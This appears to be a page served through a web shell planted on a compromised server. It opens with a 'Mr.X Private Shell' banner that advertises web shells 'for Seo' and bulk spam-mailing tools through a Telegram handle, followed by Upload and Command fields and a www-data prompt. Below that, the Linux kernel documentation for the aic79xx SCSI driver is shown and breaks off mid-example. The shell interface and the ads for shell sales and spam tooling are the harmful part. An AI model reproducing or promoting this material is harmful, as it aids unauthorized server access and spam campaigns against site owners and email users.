__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.173: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>Adaptec Ultra320 Family Manager Set &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../_static/alabaster.css?v=3918102e" />
    <script src="../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../_static/doctools.js?v=9bcbadda"></script>
    <script src="../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="next" title="Adaptec Aic7xxx Fast -&gt; Ultra160 Family Manager Set v7.0" href="aic7xxx.html" />
    <link rel="prev" title="Adaptec AHA-1520/1522 SCSI driver for Linux (aha152x)" href="aha152x.html" />
   
  <link rel="stylesheet" href="../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../index.html">
              <img class="logo" src="../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/index.html">All development-process docs</a></li>
</ul>
<ul class="current">
<li class="toctree-l1"><a class="reference internal" href="../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1 current"><a class="reference internal" href="../subsystem-apis.html">Subsystems</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#core-subsystems">Core subsystems</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#human-interfaces">Human interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#networking-interfaces">Networking interfaces</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="../subsystem-apis.html#storage-interfaces">Storage interfaces</a><ul class="current">
<li class="toctree-l3"><a class="reference internal" href="../filesystems/index.html">Filesystems in the Linux kernel</a></li>
<li class="toctree-l3"><a class="reference internal" href="../block/index.html">Block</a></li>
<li class="toctree-l3"><a class="reference internal" href="../cdrom/index.html">CD-ROM</a></li>
<li class="toctree-l3 current"><a class="reference internal" href="index.html">SCSI Subsystem</a></li>
<li class="toctree-l3"><a class="reference internal" href="../target/index.html">TCM Virtual Device</a></li>
<li class="toctree-l3"><a class="reference internal" href="../nvme/index.html">NVMe Subsystem</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#other-subsystems">Other subsystems</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../arch/index.html">CPU architectures</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../_sources/scsi/aic79xx.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="adaptec-ultra320-family-manager-set">
<h1>Adaptec Ultra320 Family Manager Set<a class="headerlink" href="#adaptec-ultra320-family-manager-set" title="Link to this heading">¶</a></h1>
<p>README for The Linux Operating System</p>
<section id="supported-hardware">
<h2>1. Supported Hardware<a class="headerlink" href="#supported-hardware" title="Link to this heading">¶</a></h2>
<blockquote>
<div><p>The following Adaptec SCSI Host Adapters are supported by this
driver set.</p>
<table class="docutils align-default">
<thead>
<tr class="row-odd"><th class="head"><p>Ultra320 ASIC</p></th>
<th class="head"><p>Description</p></th>
</tr>
</thead>
<tbody>
<tr class="row-even"><td><p>AIC-7901A</p></td>
<td><p>Single Channel 64-bit PCI-X 133MHz to
Ultra320 SCSI ASIC</p></td>
</tr>
<tr class="row-odd"><td><p>AIC-7901B</p></td>
<td><p>Single Channel 64-bit PCI-X 133MHz to
Ultra320 SCSI ASIC with Retained Training</p></td>
</tr>
<tr class="row-even"><td><p>AIC-7902A4</p></td>
<td><p>Dual Channel 64-bit PCI-X 133MHz to
Ultra320 SCSI ASIC</p></td>
</tr>
<tr class="row-odd"><td><p>AIC-7902B</p></td>
<td><p>Dual Channel 64-bit PCI-X 133MHz to
Ultra320 SCSI ASIC with Retained Training</p></td>
</tr>
</tbody>
</table>
<table class="docutils align-default">
<thead>
<tr class="row-odd"><th class="head"><p>Ultra320 Adapters</p></th>
<th class="head"><p>Description</p></th>
<th class="head"><p>ASIC</p></th>
</tr>
</thead>
<tbody>
<tr class="row-even"><td><p>Adaptec SCSI Card 39320</p></td>
<td><p>Dual Channel 64-bit PCI-X 133MHz to
Ultra320 SCSI Card (one external
68-pin, two internal 68-pin)</p></td>
<td><p>7902A4/7902B</p></td>
</tr>
<tr class="row-odd"><td><p>Adaptec SCSI Card 39320A</p></td>
<td><p>Dual Channel 64-bit PCI-X 133MHz to
Ultra320 SCSI Card (one external
68-pin, two internal 68-pin)</p></td>
<td><p>7902B</p></td>
</tr>
<tr class="row-even"><td><p>Adaptec SCSI Card 39320D</p></td>
<td><p>Dual Channel 64-bit PCI-X 133MHz to
Ultra320 SCSI Card (two external VHDC
and one internal 68-pin)</p></td>
<td><p>7902A4</p></td>
</tr>
<tr class="row-odd"><td><p>Adaptec SCSI Card 39320D</p></td>
<td><p>Dual Channel 64-bit PCI-X 133MHz to
Ultra320 SCSI Card (two external VHDC
and one internal 68-pin) based on the
AIC-7902B ASIC</p></td>
<td><p>7902A4</p></td>
</tr>
<tr class="row-even"><td><p>Adaptec SCSI Card 29320</p></td>
<td><p>Single Channel 64-bit PCI-X 133MHz to
Ultra320 SCSI Card (one external
68-pin, two internal 68-pin, one
internal 50-pin)</p></td>
<td><p>7901A</p></td>
</tr>
<tr class="row-odd"><td><p>Adaptec SCSI Card 29320A</p></td>
<td><p>Single Channel 64-bit PCI-X 133MHz to
Ultra320 SCSI Card (one external
68-pin, two internal 68-pin, one
internal 50-pin)</p></td>
<td><p>7901B</p></td>
</tr>
<tr class="row-even"><td><p>Adaptec SCSI Card 29320LP</p></td>
<td><p>Single Channel 64-bit Low Profile
PCI-X 133MHz to Ultra320 SCSI Card
(One external VHDC, one internal
68-pin)</p></td>
<td><p>7901A</p></td>
</tr>
<tr class="row-odd"><td><p>Adaptec SCSI Card 29320ALP</p></td>
<td><p>Single Channel 64-bit Low Profile
PCI-X 133MHz to Ultra320 SCSI Card
(One external VHDC, one internal
68-pin)</p></td>
<td><p>7901B</p></td>
</tr>
</tbody>
</table>
</div></blockquote>
</section>
<section id="version-history">
<h2>2. Version History<a class="headerlink" href="#version-history" title="Link to this heading">¶</a></h2>
<blockquote>
<div><ul>
<li><dl class="simple">
<dt>3.0    (December 1st, 2005)</dt><dd><ul class="simple">
<li><p>Updated driver to use SCSI transport class infrastructure</p></li>
<li><p>Upported sequencer and core fixes from adaptec released
version 2.0.15 of the driver.</p></li>
</ul>
</dd>
</dl>
</li>
<li><dl class="simple">
<dt>1.3.11 (July 11, 2003)</dt><dd><ul class="simple">
<li><p>Fix several deadlock issues.</p></li>
<li><p>Add 29320ALP and 39320B Id’s.</p></li>
</ul>
</dd>
</dl>
</li>
<li><dl class="simple">
<dt>1.3.10 (June 3rd, 2003)</dt><dd><ul class="simple">
<li><p>Align the SCB_TAG field on a 16byte boundary.  This avoids
SCB corruption on some PCI-33 busses.</p></li>
<li><p>Correct non-zero luns on Rev B. hardware.</p></li>
<li><p>Update for change in 2.5.X SCSI proc FS interface.</p></li>
<li><p>When negotiation async via an 8bit WDTR message, send
an SDTR with an offset of 0 to be sure the target
knows we are async.  This works around a firmware defect
in the Quantum Atlas 10K.</p></li>
<li><p>Implement controller suspend and resume.</p></li>
<li><p>Clear PCI error state during driver attach so that we
don’t disable memory mapped I/O due to a stray write
by some other driver probe that occurred before we
claimed the controller.</p></li>
</ul>
</dd>
</dl>
</li>
<li><dl class="simple">
<dt>1.3.9 (May 22nd, 2003)</dt><dd><ul class="simple">
<li><p>Fix compiler errors.</p></li>
<li><p>Remove S/G splitting for segments that cross a 4GB boundary.
This is guaranteed not to happen in Linux.</p></li>
<li><p>Add support for <a class="reference internal" href="../driver-api/scsi.html#c.scsi_report_device_reset" title="scsi_report_device_reset"><code class="xref c c-func docutils literal notranslate"><span class="pre">scsi_report_device_reset()</span></code></a> found in
2.5.X kernels.</p></li>
<li><p>Add 7901B support.</p></li>
<li><p>Simplify handling of the packetized lun Rev A workaround.</p></li>
<li><p>Correct and simplify handling of the ignore wide residue
message.  The previous code would fail to report a residual
if the transaction data length was even and we received
an IWR message.</p></li>
</ul>
</dd>
</dl>
</li>
<li><dl class="simple">
<dt>1.3.8 (April 29th, 2003)</dt><dd><ul class="simple">
<li><p>Fix types accessed via the command line interface code.</p></li>
<li><p>Perform a few firmware optimizations.</p></li>
<li><p>Fix “Unexpected PKT busfree” errors.</p></li>
<li><p>Use a sequencer interrupt to notify the host of
commands with bad status.  We defer the notification
until there are no outstanding selections to ensure
that the host is interrupted for as short a time as
possible.</p></li>
<li><p>Remove pre-2.2.X support.</p></li>
<li><p>Add support for new 2.5.X interrupt API.</p></li>
<li><p>Correct big-endian architecture support.</p></li>
</ul>
</dd>
</dl>
</li>
<li><dl class="simple">
<dt>1.3.7 (April 16th, 2003)</dt><dd><ul class="simple">
<li><p>Use <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">del_timer_sync()</span></code> to ensure that no timeouts
are pending during controller shutdown.</p></li>
<li><p>For pre-2.5.X kernels, carefully adjust our segment
list size to avoid SCSI malloc pool fragmentation.</p></li>
<li><p>Cleanup channel display in our /proc output.</p></li>
<li><p>Workaround duplicate device entries in the mid-layer
device list during add-single-device.</p></li>
</ul>
</dd>
</dl>
</li>
<li><dl class="simple">
<dt>1.3.6 (March 28th, 2003)</dt><dd><ul class="simple">
<li><p>Correct a double free in the Domain Validation code.</p></li>
<li><p>Correct a reference to free’ed memory during controller
shutdown.</p></li>
<li><p>Reset the bus on an SE-&gt;LVD change.  This is required
to reset our transceivers.</p></li>
</ul>
</dd>
</dl>
</li>
<li><dl class="simple">
<dt>1.3.5 (March 24th, 2003)</dt><dd><ul class="simple">
<li><p>Fix a few register window mode bugs.</p></li>
<li><p>Include read streaming in the PPR flags we display in
diagnostics as well as /proc.</p></li>
<li><p>Add PCI hot plug support for 2.5.X kernels.</p></li>
<li><p>Correct default precompensation value for RevA hardware.</p></li>
<li><p>Fix Domain Validation thread shutdown.</p></li>
<li><p>Add a firmware workaround to make the LED blink
brighter during packetized operations on the H2A4.</p></li>
<li><p>Correct /proc display of user read streaming settings.</p></li>
<li><p>Simplify driver locking by releasing the io_request_lock
upon driver entry from the mid-layer.</p></li>
<li><p>Cleanup command line parsing and move much of this code
to aiclib.</p></li>
</ul>
</dd>
</dl>
</li>
<li><dl class="simple">
<dt>1.3.4 (February 28th, 2003)</dt><dd><ul class="simple">
<li><p>Correct a race condition in our error recovery handler.</p></li>
<li><p>Allow Test Unit Ready commands to take a full 5 seconds
during Domain Validation.</p></li>
</ul>
</dd>
</dl>
</li>
<li><dl class="simple">
<dt>1.3.2 (February 19th, 2003)</dt><dd><ul class="simple">
<li><p>Correct a Rev B. regression due to the GEM318
compatibility fix included in 1.3.1.</p></li>
</ul>
</dd>
</dl>
</li>
<li><dl class="simple">
<dt>1.3.1 (February 11th, 2003)</dt><dd><ul class="simple">
<li><p>Add support for the 39320A.</p></li>
<li><p>Improve recovery for certain PCI-X errors.</p></li>
<li><p>Fix handling of LQ/DATA/LQ/DATA for the
same write transaction that can occur without
interveining training.</p></li>
<li><p>Correct compatibility issues with the GEM318
enclosure services device.</p></li>
<li><p>Correct data corruption issue that occurred under
high tag depth write loads.</p></li>
<li><p>Adapt to a change in the 2.5.X <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">daemonize()</span></code> API.</p></li>
<li><p>Correct a “Missing case in ahd_handle_scsiint” panic.</p></li>
</ul>
</dd>
</dl>
</li>
<li><dl class="simple">
<dt>1.3.0 (January 21st, 2003)</dt><dd><ul class="simple">
<li><p>Full regression testing for all U320 products completed.</p></li>
<li><p>Added abort and target/lun reset error recovery handler and
interrupt coalescing.</p></li>
</ul>
</dd>
</dl>
</li>
<li><dl>
<dt>1.2.0 (November 14th, 2002)</dt><dd><ul class="simple">
<li><p>Added support for Domain Validation</p></li>
<li><p>Add support for the Hewlett-Packard version of the 39320D
and AIC-7902 adapters.</p></li>
</ul>
<p>Support for previous adapters has not been fully tested and should
only be used at the customer’s own risk.</p>
</dd>
</dl>
</li>
<li><dl class="simple">
<dt>1.1.1 (September 24th, 2002)</dt><dd><ul class="simple">
<li><p>Added support for the Linux 2.5.X kernel series</p></li>
</ul>
</dd>
</dl>
</li>
<li><dl class="simple">
<dt>1.1.0 (September 17th, 2002)</dt><dd><ul class="simple">
<li><p>Added support for four additional SCSI products:
ASC-39320, ASC-29320, ASC-29320LP, AIC-7901.</p></li>
</ul>
</dd>
</dl>
</li>
<li><dl class="simple">
<dt>1.0.0 (May 30th, 2002)</dt><dd><ul class="simple">
<li><p>Initial driver release.</p></li>
</ul>
</dd>
</dl>
</li>
<li><dl class="simple">
<dt>2.1. Software/Hardware Features</dt><dd><ul class="simple">
<li><p>Support for the SPI-4 “Ultra320” standard:
- 320MB/s transfer rates
- Packetized SCSI Protocol at 160MB/s and 320MB/s
- Quick Arbitration Selection (QAS)
- Retained Training Information (Rev B. ASIC only)</p></li>
<li><p>Interrupt Coalescing</p></li>
<li><p>Initiator Mode (target mode not currently
supported)</p></li>
<li><p>Support for the PCI-X standard up to 133MHz</p></li>
<li><p>Support for the PCI v2.2 standard</p></li>
<li><p>Domain Validation</p></li>
</ul>
</dd>
</dl>
</li>
<li><dl>
<dt>2.2. Operating System Support:</dt><dd><blockquote>
<div><ul class="simple">
<li><p>Redhat Linux 7.2, 7.3, 8.0, Advanced Server 2.1</p></li>
<li><p>SuSE Linux 7.3, 8.0, 8.1, Enterprise Server 7</p></li>
<li><p>only Intel and AMD x86 supported at this time</p></li>
<li><p>&gt;4GB memory configurations supported.</p></li>
</ul>
</div></blockquote>
<p>Refer to the User’s Guide for more details on this.</p>
</dd>
</dl>
</li>
</ul>
</div></blockquote>
</section>
<section id="command-line-options">
<h2>3. Command Line Options<a class="headerlink" href="#command-line-options" title="Link to this heading">¶</a></h2>
<blockquote>
<div><blockquote>
<div><div class="admonition warning">
<p class="admonition-title">Warning</p>
<p>ALTERING OR ADDING THESE DRIVER PARAMETERS
INCORRECTLY CAN RENDER YOUR SYSTEM INOPERABLE.
USE THEM WITH CAUTION.</p>
</div>
</div></blockquote>
<p>Put a .conf file in the /etc/modprobe.d/ directory and add/edit a
line containing <code class="docutils literal notranslate"><span class="pre">options</span> <span class="pre">aic79xx</span> <span class="pre">aic79xx=[command[,command...]]</span></code> where
<code class="docutils literal notranslate"><span class="pre">command</span></code> is one or more of the following:</p>
</div></blockquote>
<dl>
<dt>verbose</dt><dd><dl class="field-list simple">
<dt class="field-odd">Definition<span class="colon">:</span></dt>
<dd class="field-odd"><p>enable additional informative messages during driver operation.</p>
</dd>
<dt class="field-even">Possible Values<span class="colon">:</span></dt>
<dd class="field-even"><p>This option is a flag</p>
</dd>
<dt class="field-odd">Default Value<span class="colon">:</span></dt>
<dd class="field-odd"><p>disabled</p>
</dd>
</dl>
</dd>
<dt>debug:[value]</dt><dd><dl class="field-list simple">
<dt class="field-odd">Definition<span class="colon">:</span></dt>
<dd class="field-odd"><p>Enables various levels of debugging information
The bit definitions for the debugging mask can
be found in drivers/scsi/aic7xxx/aic79xx.h under
the “Debug” heading.</p>
</dd>
<dt class="field-even">Possible Values<span class="colon">:</span></dt>
<dd class="field-even"><p>0x0000 = no debugging, 0xffff = full debugging</p>
</dd>
<dt class="field-odd">Default Value<span class="colon">:</span></dt>
<dd class="field-odd"><p>0x0000</p>
</dd>
</dl>
</dd>
<dt>no_reset</dt><dd><dl class="field-list simple">
<dt class="field-odd">Definition<span class="colon">:</span></dt>
<dd class="field-odd"><p>Do not reset the bus during the initial probe
phase</p>
</dd>
<dt class="field-even">Possible Values<span class="colon">:</span></dt>
<dd class="field-even"><p>This option is a flag</p>
</dd>
<dt class="field-odd">Default Value<span class="colon">:</span></dt>
<dd class="field-odd"><p>disabled</p>
</dd>
</dl>
</dd>
<dt>extended</dt><dd><dl class="field-list simple">
<dt class="field-odd">Definition<span class="colon">:</span></dt>
<dd class="field-odd"><p>Force extended translation on the controller</p>
</dd>
<dt class="field-even">Possible Values<span class="colon">:</span></dt>
<dd class="field-even"><p>This option is a flag</p>
</dd>
<dt class="field-odd">Default Value<span class="colon">:</span></dt>
<dd class="field-odd"><p>disabled</p>
</dd>
</dl>
</dd>
<dt>periodic_otag</dt><dd><dl class="field-list simple">
<dt class="field-odd">Definition<span class="colon">:</span></dt>
<dd class="field-odd"><p>Send an ordered tag periodically to prevent
tag starvation.  Needed for some older devices</p>
</dd>
<dt class="field-even">Possible Values<span class="colon">:</span></dt>
<dd class="field-even"><p>This option is a flag</p>
</dd>
<dt class="field-odd">Default Value<span class="colon">:</span></dt>
<dd class="field-odd"><p>disabled</p>
</dd>
</dl>
</dd>
<dt>reverse_scan</dt><dd><dl class="field-list simple">
<dt class="field-odd">Definition<span class="colon">:</span></dt>
<dd class="field-odd"><p>Probe the scsi bus in reverse order, starting with target 15</p>
</dd>
<dt class="field-even">Possible Values<span class="colon">:</span></dt>
<dd class="field-even"><p>This option is a flag</p>
</dd>
<dt class="field-odd">Default Value<span class="colon">:</span></dt>
<dd class="field-odd"><p>disabled</p>
</dd>
</dl>
</dd>
<dt>global_tag_depth</dt><dd><dl class="field-list simple">
<dt class="field-odd">Definition<span class="colon">:</span></dt>
<dd class="field-odd"><p>Global tag depth for all targets on all busses.
This option sets the default tag depth which
may be selectively overridden vi the tag_info
option.</p>
</dd>
<dt class="field-even">Possible Values<span class="colon">:</span></dt>
<dd class="field-even"><p>1 - 253</p>
</dd>
<dt class="field-odd">Default Value<span class="colon">:</span></dt>
<dd class="field-odd"><p>32</p>
</dd>
</dl>
</dd>
<dt>tag_info:{{value[,value...]}[,{value[,value...]}...]}</dt><dd><dl class="field-list simple">
<dt class="field-odd">Definition<span class="colon">:</span></dt>
<dd class="field-odd"><p>Set the per-target tagged queue depth on a
per controller basis.  Both controllers and targets
may be omitted indicating that they should retain
the default tag depth.</p>
</dd>
<dt class="field-even">Possible Values<span class="colon">:</span></dt>
<dd class="field-even"><p>1 - 253</p>
</dd>
<dt class="field-odd">Default Value<span class="colon">:</span></dt>
<dd class="field-odd"><p>32</p>
</dd>
</dl>
<p>Examples:</p>
<blockquote>
<div><div class="highlight-none notranslate"><div class="highlight"><pre><span></span>tag_info:{{16,32,32,64,8,8,,32,32,32,32,32,32,32,32,32}
</pre></div>
</div>
<p>On Controller 0</p>
<blockquote>
<div><ul class="simple">
<li><p>specifies a tag depth of 16 for target 0</p></li>
<li><p>specifies a tag depth of 64 for target 3</p></li>
<li><p>specifies a tag depth of 8 for targets 4 and 5</p></li>
<li><p>leaves target 6 at the default</p></li>
<li><p>specifies a tag depth of 32 for targets 1,2,7-15</p></li>
</ul>
</div></blockquote>
<p>All other targets retain the default depth.</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>tag_info:{{},{32,,32}}
</pre></div>
</div>
<p>On Controller 1</p>
<blockquote>
<div><ul class="simple">
<li><p>specifies a tag depth of 32 for targets 0 and 2</p></li>
</ul>
</div></blockquote>
<p>All other targets retain the default depth.</p>
</div></blockquote>
</dd>
<dt>rd_strm: {rd_strm_bitmask[,rd_strm_bitmask...]}</dt><dd><dl class="field-list simple">
<dt class="field-odd">Definition<span class="colon">:</span></dt>
<dd class="field-odd"><p>Enable read streaming on a per target basis.
The rd_strm_bitmask is a 16 bit hex value in which
each bit represents a target.  Setting the target’s
bit to ‘1’ enables read streaming for that
target.  Controllers may be omitted indicating that
they should retain the default read streaming setting.</p>
</dd>
</dl>
<p>Examples:</p>
<blockquote>
<div><div class="highlight-none notranslate"><div class="highlight"><pre><span></span>rd_strm:{0x0041}
</pre></div>
</div>
<p>On Controller 0</p>
<blockquote>
<div><ul class="simple">
<li><p>enables read streaming for targets 0 and 6.</p></li>
<li><p>disables read streaming for targets 1-5,7-15.</p></li>
</ul>
</div></blockquote>
<p>All other targets retain the default read
streaming setting.</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>rd_strm:{0x0023,,0xFFFF}
</pre></div>
</div>
<p>On Controller 0</p>
<blockquote>
<div><ul class="simple">
<li><p>enables read streaming for targets 1,2, and 5.</p></li>
<li><p>disables read streaming for targets 3,4,6-15.</p></li>
</ul>
</div></blockquote>
<p>On Controller 2</p>
<blockquote>
<div><ul class="simple">
<li><p>enables read streaming for all targets.</p></li>
</ul>
</div></blockquote>
<p>All other targets retain the default read
streaming setting.</p>
</div></blockquote>
<dl class="field-list simple">
<dt class="field-odd">Possible Values<span class="colon">:</span></dt>
<dd class="field-odd"><p>0x0000 - 0xffff</p>
</dd>
<dt class="field-even">Default Value<span class="colon">:</span></dt>
<dd class="field-even"><p>0x0000</p>
</dd>
</dl>
</dd>
<dt>dv: {value[,value...]}</dt><dd><dl class="field-list">
<dt class="field-odd">Definition<span class="colon">:</span></dt>
<dd class="field-odd"><dl class="simple">
<dt>Set Domain Validation Policy on a per-controller basis.</dt><dd><p>Controllers may be omitted indicating that
they should retain the default read streaming setting.</p>
</dd>
</dl>
<dl class="field-list">
<dt class="field-odd">Possible Values<span class="colon">:</span></dt>
<dd class="field-odd"><table class="docutils align-default">
<tbody>
<tr class="row-odd"><td><p>&lt; 0</p></td>
<td><p>Use setting from serial EEPROM.</p></td>
</tr>
<tr class="row-even"><td><p>0</p></td>
<td><p>Disable DV</p></td>
</tr>
<tr class="row-odd"><td><p>&gt; 0</p></td>
<td><p>Enable DV</p></td>
</tr>
</tbody>
</table>
</dd>
</dl>
</dd>
<dt class="field-even">Default Value<span class="colon">:</span></dt>
<dd class="field-even"><p>DV Serial EEPROM configuration setting.</p>
</dd>
</dl>
<p>Example:</p>
<blockquote>
<div><div class="highlight-none notranslate"><div class="highlight"><pre><span></span>dv:{-1,0,,1,1,0}
</pre></div>
</div>
<ul class="simple">
<li><p>On Controller 0 leave DV at its default setting.</p></li>
<li><p>On Controller 1 disable DV.</p></li>
<li><p>Skip configuration on Controller 2.</p></li>
<li><p>On Controllers 3 and 4 enable DV.</p></li>
<li><p>On Controller 5 disable DV.</p></li>
</ul>
</div></blockquote>
</dd>
<dt>seltime:[value]</dt><dd><dl class="field-list simple">
<dt class="field-odd">Definition<span class="colon">:</span></dt>
<dd class="field-odd"><p>Specifies the selection timeout value</p>
</dd>
<dt class="field-even">Possible Values<span class="colon">:</span></dt>
<dd class="field-even"><p>0 = 256ms, 1 = 128ms, 2 = 64ms, 3 = 32ms</p>
</dd>
<dt class="field-odd">Default Value<span class="colon">:</span></dt>
<dd class="field-odd"><p>0</p>
</dd>
</dl>
</dd>
</dl>
<dl>
<dt>precomp: {value[,value...]}</dt><dd><dl class="field-list simple">
<dt class="field-odd">Definition<span class="colon">:</span></dt>
<dd class="field-odd"><p>Set IO Cell precompensation value on a per-controller basis.
Controllers may be omitted indicating that
they should retain the default precompensation setting.</p>
</dd>
<dt class="field-even">Possible Values<span class="colon">:</span></dt>
<dd class="field-even"><p>0 - 7</p>
</dd>
<dt class="field-odd">Default Value<span class="colon">:</span></dt>
<dd class="field-odd"><p>Varies based on chip revision</p>
</dd>
</dl>
<p>Examples:</p>
<blockquote>
<div><div class="highlight-none notranslate"><div class="highlight"><pre><span></span>precomp:{0x1}
</pre></div>
</div>
<p>On Controller 0 set precompensation to 1.</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>precomp:{1,,7}
</pre></div>
</div>
<ul class="simple">
<li><p>On Controller 0 set precompensation to 1.</p></li>
<li><p>On Controller 2 set precompensation to 8.</p></li>
</ul>
</div></blockquote>
</dd>
<dt>slewrate: {value[,value...]}</dt><dd><dl class="field-list simple">
<dt class="field-odd">Definition<span class="colon">:</span></dt>
<dd class="field-odd"><p>Set IO Cell slew rate on a per-controller basis.
Controllers may be omitted indicating that
they should retain the default slew rate setting.</p>
</dd>
<dt class="field-even">Possible Values<span class="colon">:</span></dt>
<dd class="field-even"><p>0 - 15</p>
</dd>
<dt class="field-odd">Default Value<span class="colon">:</span></dt>
<dd class="field-odd"><p>Varies based on chip revision</p>
</dd>
</dl>
<p>Examples:</p>
<blockquote>
<div><div class="highlight-none notranslate"><div class="highlight"><pre><span></span>slewrate:{0x1}
</pre></div>
</div>
<ul class="simple">
<li><p>On Controller 0 set slew rate to 1.</p></li>
</ul>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>slewrate :{1,,8}
</pre></div>
</div>
<ul class="simple">
<li><p>On Controller 0 set slew rate to 1.</p></li>
<li><p>On Controller 2 set slew rate to 8.</p></li>
</ul>
</div></blockquote>
</dd>
<dt>amplitude: {value[,value...]}</dt><dd><dl class="field-list simple">
<dt class="field-odd">Definition<span class="colon">:</span></dt>
<dd class="field-odd"><p>Set IO Cell signal amplitude on a per-controller basis.
Controllers may be omitted indicating that
they should retain the default read streaming setting.</p>
</dd>
<dt class="field-even">Possible Values<span class="colon">:</span></dt>
<dd class="field-even"><p>1 - 7</p>
</dd>
<dt class="field-odd">Default Value<span class="colon">:</span></dt>
<dd class="field-odd"><p>Varies based on chip revision</p>
</dd>
</dl>
<p>Examples:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>amplitude:{0x1}
</pre></div>
</div>
<p>On Controller 0 set amplitude to 1.</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>amplitude :{1,,7}
